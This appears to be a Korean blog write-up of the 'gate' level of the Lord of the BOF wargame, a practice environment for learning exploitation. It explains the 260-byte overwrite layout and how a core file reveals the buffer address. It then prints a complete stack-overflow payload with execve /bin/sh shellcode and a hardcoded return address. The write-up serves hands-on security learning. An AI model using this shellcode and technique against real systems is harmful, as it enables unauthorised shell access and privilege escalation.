본문 바로가기

WarGame/System

[Lord of the BOF] gate

ID : gate

PW : gate 



주석에도 보이듯 simple BOF 문제이다.



set disassembly-flavor intel 명령어를 사용하여 인텔 아키텍처 어셈블리어로 출력하도록 설정 한다.


intel은 Operand 읽는 순서가 목적지, 출발지 순서

AT&T는 Operand 읽는 순서가 출발지, 목적지 순서





버퍼 크기 [256] + SFP[4] + RET[4] 이렇게 되겠다.

사용할수 있는 공간은 총 260이 되고 마지막 4byte 공간에는 Shell Code 주소를 넣으면 되겠다.

 문제는 Shell Code 주소를 넣는것인데 버퍼안에 Shell Code를 넣어서 그주소를 사용하면되는데

정확한 주소는 Core 파일을 이용하여 찾는다.


ulimit -c unlimited -> Core 파일 생성 활성화


gremlin 파일은 core 파일이 생성되지 않으므로 aremlin 이라는 실행파일을 생성한다.

그리고 bash 문제(\xff)가 있어 bash2로 바꿔서 payload를 실행한다.


payload

./gremlin `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*36+"\x50\xfb\xff\xbf"'`



'WarGame > System' 카테고리의 다른 글

[Lord of the BOF] cobolt  (0) 2017.06.07